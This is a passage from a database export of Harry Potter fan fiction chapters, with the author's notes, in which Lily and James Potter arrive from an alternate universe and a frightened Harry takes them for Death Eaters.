style="border:none;mso-border-bottom-alt:solid windowtext .25pt;\npadding:0cm;mso-padding-alt:0cm 0cm 1.0pt 0cm">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You know, almost all of the reviews couldn&#8217;t wait for the reactions of\nHarry and the Dursleys when they see Lily and James.&nbsp; And I admit I had lots of fun leaving you guys here.&nbsp; But just wait till next chapter&#8230;where you\n*do* find out Harry&#8217;s reaction.&nbsp; It\nwon&#8217;t be what&#8217;s expected, let me tell you that.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And don&#8217;t forget our dear Mrs Figg, she *will* be coming back.&nbsp; And I suggest keeping her conversation with\nProfessor McGonagall in mind in later chapters&#8230;just a hint.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Myra</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.S. Don&#8217;t forget to review&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(137, 3, '\n\n<p>Disclaimer:  Oh, I own Harry Potter.  Sure.  And I also own Microsoft.  How could I *not*, being an eighteen year-old *<b><i><u>AMERICAN</u></i></b>* girl and not a however-old guy, nor an however-old *English* woman?  Anyway&#8230;in other words, I am a *very* sarcastic person.</p>\n\n<p>AN:  *cringes*  Okay&#8230;sorry, sorry, sorry, sorry, sorry for the wait.  Don&#8217;t kill me yet!  I have an explanation, which lies on by beta reader.  I sent the chapter to her, but then she got really busy and then went on vacation, while she still hadn&#8217;t beta-ed the chapter yet.  Then I get it back about two weeks ago and send it to my *other* beta reader, who I e-mailed yesterday asking on the progress and she informed me that she had lost the chapter and that she was too busy to beta for me.  So *don&#8217;t* kill me. And don&#8217;t kill her either.  It wasn&#8217;t really her fault, I&#8217;m sure we can *all* relate to being busy.  Which I *am* at the moment. </p>\n\n<p>About reviews&#8230;wow, 50 with only two chapters.  That&#8217;s *good*, people.  So thanks.  A bunch.  A few reviews that caught my eye:</p>\n\n<p>No, Lily and James *won&#8217;t* be splitting up.  They are married, and happily&#8230;for the most part.  What I meant is that the story *focuses* around Harry and Hermione, not Lily and James.  But they *will* stay together&#8230;I think.  Actually, that gave me a horrendously wicked idea which I instantly set into motion.  So&#8230;just watch out for it in later chapters&#8230;</p>\n\n<p>About the powers Harry has:  In this chapter they&#8217;re used, but in the other chapters not too often.  Actually, Harry forgets about them for the most part, and then he isn&#8217;t *supposed* to use them.  So don&#8217;t worry about them.  They don&#8217;t play that big of a role.</p>\n\n<p>Lisa, thanks for being my 50th reviewer.  Er, I was actually talking about my Sev. Challenge fic, which I may never post, if I ever getting around to *writing* it.  But glad to see you read this one.</p>\n\n<p>And er&#8230;that&#8217;s all the reviews I can think of at the moment.  Just want to thank you all and individual questions *are* best directed to me in e-mail, because then you get an answer right away.</p>\n\n<p>Oh yes!  I wanted to know if I should make a Yahoo Group about this fic and my others.  That way you can get updates on the fic, ask me questions, get teasers, chapters in the story that will never make it to the actual fic and other goodies.  So if you want me to, leave a note in your review.</p>\n\n<p>Er&#8230;I guess I took up enough of your time.  On to the chapter.</p>\n\n<p>***</p>\n\n<p>Chapter 3: To be Death Eaters or not to be Death Eaters?</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry blinked. The two people in front of him blinked. Harry blinked again. They blinked again. And then, &quot;WHO THE HELL *ARE* YOU!&quot; Harry was shaking, the rage taking over his senses. The nerve of Voldemort, sending Death Eaters to impersonate his parents, as if he thought he could *fool* him. He held out a hand and, with out any words or motion, put a freezing spell on them. </p>\n\n<p>The two wizards were shocked. The man tried to move his arm, found he couldn\'t, and then glared at the position he was in. &quot;Oh dash it all, LET ME GO!&quot; And Harry froze as the spell broke. He brushed off his dressing gown, and turned to the woman who had also broken the spell. &quot;Do you have *any* idea what\'s going on?&quot; </p>\n\n<p>She glanced at Harry and ignored the question. &quot;Harry...what\'s wrong?&quot; Her voice was soothing, but Harry knew that it was just an act.</p>\n\n<p>&quot;DO NOT TALK TO ME!&quot; He backed away. He wasn\'t going to let the Death Eaters get to him, he wasn\'t. He had to somehow use some curse that would stop them, or alert another wizard to their presence. He had to-had to get away. His mind flew to Mrs Figg, but she was probably asleep due to the late hour, and she was a house away. Harry knew that with Voldemort involved a witch a house away was no help at all. </p>\n\n<p>The witch stopped her steps. &quot;Harry darling, what\'s wrong? Do you-do you think you\'re in danger?&quot; Her expression was almost sad, her mouth turned into a frown, her emerald eyes wide. She held out a hand. &quot;We\'re not armed, and I promise that we will not harm you.&quot; </p>\n\n<p>&quot;LIAR! YOU\'RE JUST TWO DEATH EATERS TRYING TO GET ME!&quot; He yelled and then realised he had backed himself into a corner. There was no way out except through the two people before him, who were doubtless trying to trick him so they could bring him to Voldemort. He searched for a plan. Apparation would be nice, he could apparate into Hogwarts with the two Death Eaters. But then Hermione\'s words of not being able to apparate into Hogwarts stopped him, and he didn\'t have a license either. </p>\n\n<p>&quot;Death Eaters? I\'d rather kiss *Snape* than be a Death Eater.&quot; The man spoke up. &quot;That\'s actually kind of funny really. I- &quot; He cowered under the glare of the woman. Harry used that time to decide what to do. He wasn\'t apparating if he used his new power, he knew Apparation needed a charm to do so. He waited until the man was talking again. &quot;Come, there\'s no need for that Death Glare, I swear-oof!&quot; </p>\n\n<p>Harry rammed into him, caught a hold of the woman as well and wished for all his might to be in Hogwarts as a figure started down the stairs. &quot;Who the hell are you? And boy, you\'d better pray for your life!&quot;  <i>Shit-just what I needed. </i>Harry watched his uncle hurry down the stairs, surprisingly fast for a man of his girth.  </p>\n\n<p>Unfortunately, the woman took the time to turn around, getting out of Harry\'s grasp. </p>\n<p>&quot;*Vernon*? I had no idea it was possible to get even bigger than you were *before*.&quot; She started towards him. &quot;Oh my...what a strange situation we\'re in.&quot; </p>\n\n<p>Someone started laughing his head off. &quot;Oh my-Oh my God! I- I\'ve-I\'ve never seen someone so *fat*!&quot; Harry looked at the man. He was sitting on the ground, clutching his side, his robes in disarray. Harry then turned his vision to the stairs, where Aunt Petunia and Dudley had appeared. Apparently the James-Potter-look-alike found Dudley hilarious and Harry was horrified to have something in common with the Death Eater. </p>\n\n<p>The woman turned to the man who had begun to cough. &quot;You\'re sick and you\'re acting up. Will you *ever* mature?&quot; She slapped him on the back, as something green came out of his throat. </p>\n\n<p>&quot;My frog! Thanks, Lil, now I\'m not sick anymore!&quot; The man grabbed a hold of her and kissed her hard. Harry turned his head away. These were *Death Eaters* impersonating his *parents*. And he hated to admit that they were fairly good at it. They even knew exactly what the Dursleys were like. He shook his head. He wasn\'t going to let that get to his head. </p>\n\n<p>Noticing that the man and woman were still distracted, Harry grabbed a handful of each of their robes. <i>Please, take me to Hogwarts, please, I beg of you</i>&#8230; and praying with all his might, he closed his eyes as an odd sensation came over him and he blacked out. </p>\n\n<p>***</p>\n\n<p>When Harry opened his eyes again, he was staring at the mauve coloured carpet of Professor Dumbledore\'s office. Harry blinked. He stood. The man and woman were in a tangle of limbs as well as the Dursleys. And thankfully for Harry, the Dursleys were still unconscious. Unfortunately, the man and the woman were awake, though quite tangled. </p>\n<p>Harry wasted no time. &quot;I HATE YOU! GO BACK TO YOUR *DAMNED* MASTER AND TELL HIM TO GO TO HELL!&quot; He sprang at the man, catching him in the stomach. The man fell down hard with an `oof\' as he cradled his stomach in his hands. </p>\n\n<p>&quot;Gee, Harry, you\'re a lot stronger than you look.&quot; The man said, slowly standing up. Harry wasn\'t going to let him though. He rushed at him again and this time made a fist, ploughing into his jaw. And then Harry stopped in shock. The man had to have been at least two metres tall, and Harry shouldn\'t have been able to aim a punch at his jaw- and deliver it- perfectly, being so short.  But he had. </p>\n\n<p>Taking advantage of Harry\'s stunned state, the man, with one hand on his jaw, waved a hand and Harry felt himself paralysed. It was like a Full-Body-Bind, but a bit different, for Harry could move his arms and legs, if not much. And he certainly couldn\'t aim a punch, which he tried to do. </p>\n\n<p>The woman apparently had had enough of the situation. &quot;That\'s *it*! What the *hell* is going on here? James, first release Harry. Second, Harry, calm down. I\'d like to know *how* you got it into your head that we\'re Death Eaters, but I can assure you we\'re *not*. And what in the world is Petunia, her husband and son *doing* here?&quot; </p>\n\n<p>Unfortunately, the Dursleys must have heard the woman\'s remark. Petunia stirred, opened up her eyes, and then shot up. &quot;Lily!&quot; Harry had never seen his aunt so shocked in his entire life. Her blond air most often in a bun, was in disarray, her, always-spotless, housedress was mussed and her mouth could have reached the floor. &quot;You- you\'re dead.&quot; </p>\n\n<p>The woman, who in the glowing light of the candles in the office, really did quite resemble Lily Potter, sighed. &quot;Honestly, where have you *been* the last thirty-nine years? I can assure you I am *not* dead. I talked to you last week, if you remember.&quot; Harry opened his mouth to say something, but then closed it. He wasn\'t about to listen to the Death Eater\'s lies.  </p>\n\n<p>But it *was* true that the woman could have passed as Lily Potter. The darkest red hair you could imagine, ringlets falling to her shoulder-blades, the emerald green eyes set under thin ebony eyelashes and slender brows, the peaches-and-cream complexion. She was petite, slender, and her robes fell perfectly on her body. Actually, her robe was more like a muggle old-fashioned dress, the bodice tight, the skirt long and falling perfectly to land in a puddle on the floor. </p>\n\n<p>&quot;Boy, where the hell *are* we? And you better start praying, for you\'re going to receive the worst beating of your life.&quot; Uncle Vernon had apparently also gained consciousness. Though he might have wished he hadn\'t, as a hand came flying at him, slapping him hard on the cheek. </p>\n\n<p>&quot;Vernon Dursley! I will not have *you* threatening *my* son!&quot; She had her hands on her hips, her skirt in disarray. Harry watched her wide eyed. He could not fathom why a *Death Eater* would care if Uncle Vernon beat him or not. </p>\n\n<p>Everyone else in the room fell silent as Uncle Vernon regained his composure. &quot;How dare a freak like you strike *me*!&quot; Aunt Petunia had a frightened expression, as she kneeled by Dudley. She apparently was fooled by the Death Eater. </p>\n\n<p>&quot;*Freak*? I am no *freak*, Vernon Dursley, and I resent being called one. I am a *witch*, not a *freak*.&quot; The woman glared daggers at him as he began to cower under her glare. Harry in one way was glad. He certainly didn\'t like his relatives and it was nice to see them get put down. On the other hand, he didn\'t wish to see them killed by Death Eaters. </p>\n\n<p>&quot;STOP!&quot; Every head in the room turned to him, falling in silence. &quot;Aunt Petunia, we\'re at my school. This man and woman are Death Eaters sent to kill me. We have to get to Professor Dumbledore, but this man tied me up in ropes and-&quot; Harry blinked as the man waved his hand under the woman\'s glare. </p>\n\n<p>&quot;I thought I told you to *untie* him, James.&quot; The man fidgeted under the glare, shrinking into a corner. &quot;And you should get *dressed*, not *tie* our *son* up.&quot; Harry watched them as the Dursleys crept under the desk. <i>Good, they\'ll be out of the way</i>. He snuck behind the woman, and then grabbed her around the waist, pulling her down with him. </p>\n<p>The woman started screaming at the man to get him off of her, when Harry kicked at the man\'s ankles. The man dodged out of the way but Harry was able to get him in his left shin and he started hopping around the room until he slipped on his robe and toppled down as the door sprang open. </p>\n\n<p>&quot;What on *earth* has been going on in *here*?&quot; Professor Dumbledore stood in his night shirt and dressing gown, a night cap placed upon his head, holding a candle and a cup. He surveyed the scene, the Dursleys under the desk, the woman on the floor, Harry sitting on her waist, the man in a pile near the door. And then he noticed the man\'s black hair sticking out in all directions and the woman\'s dark red curls. &quot;Lily, James. I\'d like an explanation.&quot; </p>\n\n<p>* * * </p>\n\n<p>Harry looked up. &quot;But Professor, they\'re *Death Eaters*.&quot; </p>\n\n<p>&quot;Innocent until proven guilty, Harry. And *I* would also like an explanation of why two known *dead* people, three muggles and yourself are in my office at Hogwarts, when you seemed to just appear here. And as none of you carry wands, I assume that you did not apparate.&quot; </p>\n\n<p>&quot;You can\'t apparate in Hogwarts, Professor, as *some* people are due to remember.&quot; The woman sat up, and glared in the man\'s direction. He blushed noticeably. Harry was instantly reminded of Hermione, but then stopped. He wasn\'t going to compare his best friend to a *Death Eater*. </p>\n\n<p>&quot;Quite right. Now, let me modify the memories of your family, Harry, and I\'ll send them on their way.&quot; Dumbledore waved his hand, grabbed his wand and with a flick of his wand sent the Dursleys away. He turned to Harry. &quot;Now, Harry. Please tell me why you are here *and* how you came to be here.&quot; </p>\n\n<p>&quot;THEY\'RE BLOODY *DEATH EATERS*, THAT\'S WHAT!&quot; Harry shouted. He was tired, his arm was beginning to start throbbing and there were two Death Eaters posing as his parents. He felt like screaming, so he did. </p>\n\n<p>Dumbledore blinked. &quot;Ah, I see, Harry. Stupefy.&quot; And Harry instantly fell on the woman, stunned. Dumbledore turned to the two other occupants of the room. &quot;Now that young Harry is not screaming, I should think it would be possible to have a normal conversation. Lily? James? What *are* you doing here?&quot; </p>\n\n<p>And with a glance at each other, the woman began. </p>\n\n<p>* * * </p>\n\n<p>&quot;Er, I\'m not really sure where to begin, but I suppose we\'re in a different Universe. James was sick with a Frog Throat, and I was trying to make a potion. The only problem is that the Sien wasn\'t Sien. And I didn\'t figure that out until James had knocked over the jar and broke it. It was a strange yellow powder, not as fine as Sien should be. Then James had to go and be an idiot-&quot; </p>\n\n<p>&quot;Hey! I\'m not an idiot!&quot; The man sat up. &quot;And how else were we supposed to know what the potion did?&quot; </p>\n\n<p>&quot;Maybe because as a *First Year* you\'re taught not to touch unknown potions?&quot; The woman picked Harry off of her, laying him down on the floor so she could stand. &quot;Anyway, James touches it and we\'re both swept away and land in this bare bedroom, which contained a piece of parchment bearing the name Harry Potter. We waited a bit, trying to figure out what\'s going on and then after we hear voices going to bed, we decided to try to sneak out.&quot; </p>\n\n<p>&quot;Yeah, and as soon as we get down stairs, we get attacked by Harry who\'s screaming that we\'re Death Eaters. Honestly, me a Death Eater. I swear-&quot; James stood as well, kneeling next to Harry. </p>\n\n<p>&quot;James, shut up. Yes, Harry starts attacking us and then I\'m assuming my sister and her family come down stairs and start screaming and then somehow we got transported here. Harry starts screaming again, Vernon calls us all freaks, Petunia thinks I\'m dead and James was being no help.&quot; Lily shook her head. &quot;And then you came, Professor.&quot; </p>\n<p>Professor Dumbledore nodded. He had to admit that this man and woman certainly acted like Lily and James Potter. And they certainly looked like them. &quot;If you don\'t mind, may I place a revealing spell on you two?&quot; A revealing spell would reveal if the two Potters were under any spell, from a Tickling Charm to Polyjuice Potion. </p>\n\n<p>&quot;Of course, Professor. May I ask what is wrong though?&quot; Lily looked up at the Headmaster. &quot;I can tell there\'s something wrong. Harry\'s reaction, Petunia\'s, Vernon\'s, they all acted as if they hadn\'t seen us in years. And though I know we\'re from another world, I\'d just expect them to confuse us with the Lily and James of this world. Where are they, by the way? It won\'t work to have two James\' and two Lilys in this world, that is, until we can get sent back.&quot; She smoothed her hair back and adjusted her skirt. &quot;But please perform the spell.&quot; </p>\n\n<p>James lifted up Harry, placing him in an arm chair. &quot;Harry\'s so light and there are scars all over him. Professor, what *has* happened in this world? And what is this lightening bolt scar on his forehead? It resembles a curse scar, but I can\'t think of any curse that would leave such a scar.&quot; </p>\n<p>Professor Dumbledore sighed, placed his candle on his desk and sat down. &quot;That is a long story, Lily, James and I *will* tell you, but first I wish cast the revealing charm and then I will tell it. And I also shall wake young Harry when I am finished.&quot; He held up his wand. &quot;Lily? James? If you please.&quot; </p>\n\n<p>Lily nodded, standing straight as the spell wound around her, sending her skirt and hair blowing as if she was standing in a great wind. James\'s robe flew out behind him, his hair waving as the spell intensified. They were both used to it, it was standard procedure these days. No one could tell when the Dark Lord would send one of his minions disguised as someone else. And the Massacre at the Ministry was proof. </p>\n\n<p>The spell subsided and Dumbledore was pleased, but puzzled to see that the Potters had no foreign spells on them. Except for the golden glow that always accompanied James Potter and for white spots at Lily\'s left hand and neck, which were enchanted jewellery. Dumbledore knew that truly Lily and James Potter were standing in front of him. </p>\n\n<p>&quot;Excellent, Lily, James. Welcome to this world. And I\'d like to introduce to you Harry James Potter, Gryffindor Fifth Year, Seeker on the Quidditch team, Captain if my assessments of the Gryffindor Quidditch team are correct and Prefect, though he of course does not know it yet. And, I almost forgot. The Boy who Lived, a name as recognition for his defeat of Lord Voldemort at the age of one year.&quot;</p>\n\n<p>***</p>\n\n<p>Okay.  So now we know that Lily and James *are* Lily and James.  Well, Harry doesn&#8217;t think so, but&#8230;</p>\n\n<p>I lie to address certain appoints after my chapters, to give closure. Here are my points:</p>\n\n<p>Harry&#8217;s reaction.  The thing I *hate* about other L/J coming back to life, appearing or whatever fics is that for the most part, is that they always seem so *happy*.  Harry&#8217;s always &#8216;Oh Mum, Dad, I love you&#8217; or something like that.  But really, think about it.  Voldemort&#8217;s just come back to life, the Dursleys are mean and then two people looking like your long dead parents show up.  First reaction?  Scream.</p>\n\n<p>Dumbledore stunning Harry.  Harry was irrational at the point and Dumbledore needed to talk to Lily and James.  There wasn&#8217;t any other option. Plus, if Lily and James really *were* Death Eaters, it&#8217;d be safer for Harry to be out of the way.</p>\n\n<p>Er&#8230;can&#8217;t think of any more.  Therefore, got to go.  E-mail with questions and/or comments, or review.  Oh yes, remember the Yahoo Group.  Should I, or should I not?  Leave the answer in your review.</p>\n\n<p>Next up:  A few explanations and a meeting of a character.  A closer look on James and Lily.</p>\n\n<p>Remember R&amp;R.  And the Yahoo Group.</p>\n\n<p>-Myra  3/8/03</p>\n\n'),
	(137, 4, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Internet Assistant for Word Version 3.0">\n\n\n\n<p>Okay, I am <i>so </i>sorry that this chapter took so long. But I&#8217;m working on something original I want to eventually publish and my beta reader disappeared again. And though several of you asked to be my beta reader, when I sent the chapter out, <i>no</i> one, but Kenji, answered me back. So Kenji, thanks a lot and the rest of you, forget it. I&#8217;ll stick with one beta reader.</p>\n\n<p>IF you&#8217;re part of my list, you&#8217;ll recognise the second teaser I gave you.</p>\n\n<p>And to refresh memories, here&#8217;s a recap of the last chapter:</p>\n\n<p><i>&quot;Excellent, Lily, James. Welcome to this world. And I\'d like to introduce to you Harry James Potter, Gryffindor Fifth Year, Seeker on the Quidditch team, Captain if my assessments of the Gryffindor Quidditch team are correct and Prefect, though he of course does not know it yet. And, I almost forgot. The Boy who Lived, a name as recognition for his defeat of Lord Voldemort at the age of one year.&quot; Said by Albus Dumbledore.</i></p>\n\n<p>***</p>\n\n<p>Chapter 4: Restlessness</p>\n\n<p>***</p>\n\n<p>&#8220;He went against Lord Voldemort? In person? As a <i>baby</i>? Professor, you have to be kidding. I mean, he&#8217;s still <i>alive</i>. And then he <i>defeated</i> him?&#8221; James said incredulously, looking at the fifteen year-old boy lying in the chair. </p>\n\n<p>Lily nodded. &#8220;James is right, Professor. Where we come from, Harry defeated Voldemort, but got killed himself&#8230;I d-don&#8217;t re-really remember that night, Professor, I-I must ha-have hi-hit my head t-too hard.&#8221; She tried to blink back the tears that were threatening to fall. She had had almost fourteen years to get over that night, but it was still fresh in her mind. And it always caused her to break down, to the point of her friends and other acquaintances just &#8217;omitting&#8217; that particular piece of history in her presence. Even the name &#8217;Harry&#8217; hadn&#8217;t been uttered in so long; it had turned into something that was just unsaid. But explaining the events opened the old wounds, old wounds that hadn&#8217;t even been properly healed&#8230; She tried to pull herself together. &#8220;But I can assure you that Harry <i>did</i> die, I saw the body myself, saw Voldemort cast the cur-curse&#8230;&#8221; It didn&#8217;t work. And Dumbledore watched as James Potter instantly caught his wife who had collapsed into his arms, wiping her tears away.</p>\n\n<p>&#8220;Lily is right, professor. I figured that our worlds must be different, but how different I did not know. When I saw Harry, I figured that Voldemort didn&#8217;t exist here, or at least he hadn&#8217;t come and attacked us. But now I know the truth&#8230;I understand perfectly how Lily&#8217;s feeling.&#8221; James set Lily in the armchair next to Harry&#8217;s. &#8220;When we found out, it was awful. I&#8217;m not going to lie and say everything was fine between us. The first five years were awful&#8230;we even separated for a bit. We had had enough people badgering us about marrying at eighteen and having a child at nineteen, especially during the war. And after Harry died&#8230;well, everything just piled up on us. We were twenty-and even at twenty-five, things weren&#8217;t going well. And then Lil was also a few months pregnant that night, she miscarried. It was a deep blow for us, you must understand, Professor. I don&#8217;t really think this is a good time to talk about this&#8230;could we wait until tomorrow?&#8221; He felt he should have said more, he <i>wanted </i>to say more. But holding Lily in his arms was his proof that the subject should be closed, for the time being at least.</p>\n\n<p>He glanced at his old Professor for allowance. He knew it was silly to call Professor Dumbledore &#8216;Professor&#8217;, but he could never really break the habit. Albus Dumbledore was such a great figure, it seemed so strange and even a bit demeaning to call him &#8216;Albus&#8217; like he had as a child, even though the old Headmaster had bade him many times to do so.</p>\n\n<p>Albus Dumbledore studied James and Lily Potter carefully. He knew they must have gone through a lot and he also knew that midnight was not a very good time to talk about it. &#8220;Lily, James. I am sorry, but you two both know we must talk of this sometime. However, I also believe that a bit of sleep will do us all good. Come, I&#8217;ll call a House Elf and they shall take you both to a guest suite. I can also place Harry in the same suite with you, or give him his own separate room. It is up for you to decide.&#8221;</p>\n\n<p>&#8220;With-with us, Professor. Please, I don&#8217;t know how long we&#8217;ll be here and I don&#8217;t know anything about this world&#8217;s Lily and James, but I&#8217;d like to be able to be near him, at least for just a night. It&#8217;d make me feel a lot better&#8230;knowing what he&#8217;s become.&#8221; Lily dried her eyes and shakily stood. James kept an arm on her shoulder. </p>\n\n<p>&#8220;Professor, please, may we go now?&#8221; Dumbledore nodded, calling a House Elf, who lead them out of the office, down the stairs, to the left, up another stairwell, to the right, through a secret passage, to the left, straight ahead, to a picture of a family seated on a blanket in the middle of a sunny field. </p>\n\n<p>&#8220;Family,&#8221; the House Elf nodded at them, &#8220;the password is family. There is two bedrooms, a parlour, a kitchen, a dining room and a study. Professor Dumbledore says that I is to help you get settled and is to get you food. Professor Dumbledore says that the nice Potters is to stay here until I is to get you. There are other teachers in Hogwarts and they is not to see you. I is called Biddy.&#8221; She led them through the Suite, showing Lily and James the bedrooms and bathroom. James was still carrying Harry, who was far lighter than James would have wished.</p>\n\n<p>&#8220;Thank you, Biddy. If a cup of tea wouldn&#8217;t be trouble, I&#8217;d-&#8221; Lily almost jumped as a tea set with hot steaming tea and assorted sweets appeared. &#8220;And a sleeping potion, one for me and Harry as well-&#8221; Two bottled of potion appeared, cutting her off.</p>\n\n<p>&#8220;Professor Dumbledore is said to give you sleeping potion. He wishes Harry Potter to stay asleep until he can explain to him what is happening.&#8221; Biddy bowed. &#8220;I is going, if the nice Potters don&#8217;t need anything else.&#8221;</p>\n\n<p>James nodded. &#8220;No, Biddy, we&#8217;re fine. You&#8217;re welcome to go.&#8221; Biddy nodded and then disappeared. He turned to Lily. &#8220;Lils? How about bed?&#8221;</p>\n\n<p>***</p>\n\n<p></p>\n\n<i><p>&#8220;Not Harry, anything but Harry! Please, I&#8217;ll do anything! Just don&#8217;t kill my son, please!&#8221; She wrapped her arms around Harry protectively, turning her back to the Dark Lord. &#8220;You can&#8217;t, you can&#8217;t kill my son! Please, have mercy!&#8221;</p>\n\n<p>&#8220;Do you really think I care? Move aside, girl!&#8221;</p>\n\n<p>&#8220;Not Harry! Not Harry! Please-I&#8217;ll do anything-&#8221;</p>\n\n<p>&#8220;Stand aside-stand aside, girl-&#8221; Voldemort, his wand trained on her. There was nowhere to go, nothing to do. Even reaching her wand would not help her; there was no counter for the Killing Curse&#8230;except love. She could&#8230;she could sacrifice herself, to save her son&#8230;</p>\n\n<p>&#8220;Please, kill me instead-&#8221;</p>\n\n<p>&#8220;Out of the way, stupid Mudblood, out of the way-&#8221;</p>\n\n<p>&#8220;Never, just kill me, but don&#8217;t kill my son-&#8221; </p>\n\n<p>&#8220;If you won&#8217;t move, then I&#8217;ll have to move you-&#8221;</p>\n\n<p>&#8220;No! Not Harry! Not Harry! Please, don&#8217;t kill him! Not him!&#8221;</p>\n\n<p>&#8220;Imperio! Leave the child, just walk away and you&#8216;ll be fine.&#8221;</p>\n\n</i><p><i>She wanted to leave Harry there, to walk away and find James. Everything was so peaceful there and she really should- and suddenly a picture jumped before her eyes, a picture that had taken place just a few hours earlier, when she and James had put Harry to bed. The feelings that had surrounded her then-feelings of family, togetherness, comfort, </i>love<i>, they all made her remember where she was, what was happening, what was at stake. Her own son&#8216;s life. And opening her mouth, she broke the curse. &#8220;I-I won&#8217;t! I won&#8217;t go away!&#8221; </i></p><i>\n\n<p>&#8220;If that&#8217;s the way you want it, then, die!&#8221;</p>\n\n<p>&#8220;No! Please! James! Mother! I-in amor mortuus sum! Sacrificio me, Harry vive!&#8221; The words tumbled out of her mouth, summoned from the far recesses of her mind, when, spending the summer before her fourth year at James&#8217;, the book had seemingly come to her, falling open to that one particular spell&#8230;</p>\n\n<p>&#8220;Nothing will help you know, Mudblood. You&#8217;re dead! Avada Ked-&#8221;</p>\n\n</i><p><i>&#8220;NO! AHH!&#8221;</i> She screamed, hitting tones she had never hit before, tones she doubted were even humanly possible, as a pair of strong arms suddenly held her down. &#8220;&#8216;Let me go! Let me go! Kill me instead! Please, just don&#8217;t kill-&#8221;</p>\n\n<p>&#8220;Lily!&#8221; A voice shouted in her ear, suddenly becoming quieter. &#8220;Lily, you&#8217;re all right. It&#8217;s James. We&#8217;re in Hogwarts. You&#8217;ll be fine.&#8221; She opened her eyes, staring into James&#8217;s brown ones. He was on top of her, to stop her thrashing and his eyes looked almost naked without his glasses, no matter how many times she had seen him with out. She stared into his eyes, watching the brown with speckles of blue darken as he closed them and shook his head. &#8220;Are you all right?&#8221;</p>\n\n<p>She nodded, though it wasn&#8217;t necessarily true. How <i>could</i> one be fine, reliving such a terrible past in dreams? &#8220;I&#8217;ll-I&#8217;ll be fine. Just give me a moment.&#8221; She climbed out of bed, pulling on the dressing gown that awaited her. She and James were a bit surprised but pleased to find the Suite had all the necessities, including nightclothes in it. Though James didn\'t need any, as he was already wearing his pyjamas.</p>\n\n<p>James sat up, groaning. &#8220;Where are you going? And should I call Biddy again? Do you want some Dreamless Sleep?&#8221; He watched her exit the room. She was so beautiful, her dark red hair, gleaming in the moonlight, which shone from the small window, her skin pale. And she was so kind too. He hated to think that they had almost separated for good&#8230;even though it had seemed like a good idea at the time. </p>\n\n<p>&#8220;I can&#8217;t have Dreamless Sleep, James, I had it two days ago. And don&#8217;t bother disturbing Biddy. I just want a bit of water and then-&#8221;</p>\n\n<p>&#8220;And then you want to check on Harry. All right, Lil. Good night.&#8221; He stared into the darkness as she left the room. He knew how much it pained her to see Harry again and though he could understand a bit, he had to admit he was thrilled. He had his son again, a son he hadn&#8217;t seen in almost fourteen years, a son who played Seeker and was a Prefect. He wondered who Harry&#8217;s friends were, if he played pranks, if he had James&#8217; tendency to leave homework assignments to the last minute and still receive good marks on them.</p>\n\n<p>James sighed and shook his head. He wasn&#8217;t really an awake person at three in the morning and he wanted to go back to sleep. He laid back down, knowing that tomorrow morning they would get <i>some </i>answers as to what had happened and he fell asleep content.</p>\n\n<p>***</p>\n\n<p>Lily Potter on the other hand, was <i>not</i> content. She was worried. The way Harry had attacked she and James, how he had screamed that they were Death Eaters, how he lived with Petunia and her family, it all made no sense.</p>\n\n<p>She had imagined Harry, if he had lived, to be a bright, happy child full of love and understanding. A child who could live a life of peace and fulfilment. A child who could play pranks like his father, but had enough sense not to <i>want</i> to receive detentions, like his mother. A well-rounded child who was loved and never knew anything else. Then she glanced down at the child lying in the bed.</p>\n\n<p>His raven flyaway hair fell in his eyes as he slept. He curled up, one hand clutching his pillow, the other his knees. As she and James had undressed him, she was shocked to find how thin he was, not to mention the scars that racked his body. There were also multiple bruises and she made a note to ask Dumbledore about it.</p>\n\n<p>And the lightening-bolt scar. That was the most prominent scar and the eldest. It resembled a curse scar, but it would have to have been a very powerful and most likely dangerous and Dark curse. The mark was deep, still open, like a ridge, still a bright red against the pale skin of his forehead. But she <i>knew</i> it was old, she could read its magic. And as far as she knew, no extremely powerful, dangerous Dark curses left such a mark on their victims. There were certain curses, like Avada Kedavra, where the victims were <i>never</i> left alive, so there could <i>never</i> be a mention of a curse scar, as curse scars were only left on live victims. </p>\n\n<p>Lily sighed and smoothed the bangs out of Harry&#8217;s face. She wondered about his life, what had happened to <i>his </i>Lily and James&#8230;and what had made him so hostile. Even in a world where Voldemort reigned, he still should have recognised his parents. A person and their Alternate Universal Counterpart, abbreviated by AUC, always looked the same. Of course, clothes and things like haircut and style would be different, but genetically they were the same. It was next to impossible to tell an AUC from the real person apart. She had always been a bit of a reader and being an Auror and a very active person in the fight against Lord Voldemort meant that all knowledge was needed, even if at times it seemed useless.</p>\n\n<p>Which brought up another question. Where were her and James&#8217;s AUCs? They <i>should</i> have felt the new presences, both James <i>and</i> Lily being very powerful wizards. But there had been no letter, appearance or well, anything. Lily frowned in thought, began to bite her under lip and then stopped, remembering that that had been a habit it had taken her years to break and she didn&#8217;t want to start again. </p>\n\n<p>She sighed, pulled the covers up on Harry and left the room to go get a cup of tea. Harry was sound asleep, he shouldn&#8217;t wake until ten a.m. at the earliest and James was also in bed. At three in the morning, the world was silent and peaceful, but Lily didn&#8217;t mind at all. As far as she was concerned, it was a wonderful time to reflect upon things. </p>\n\n<p>And since she was often up at three in the morning, she used the time to be alone, have a cup of tea and read a bit. She had already spotted the bookcase and was eyeing the books in it. Hopefully there would be some she hadn&#8217;t read yet.</p>\n\n<p></p>\n\n<p>***</p>\n\n<p>James was bored. Very bored. After sleeping for a few hours after Lily left, he woke up and found that he couldn&#8217;t go back to sleep again. And James was <i>not </i>a morning person. He figured he had inherited it from his uncle. His Uncle always hated getting up early, though when he was awake, he was just as alert as anyone could be.</p>\n\n<p>He yawned, stretched and got out of bed. He was dead tired; apparently travelling through universes was more strenuous than originally thought. And it didn&#8217;t help he had just gotten over a frog throat.</p>\n\n<p>Fumbling his way to the kitchen, he managed to make himself a cup of tea, checked on Lily who was asleep in an armchair next to Harry&#8217;s bed with a book on her lap and a cup of tea beside her. He debated on waking her. On one hand, she hadn&#8217;t gotten a lot of sleep lately. On the other hand, he 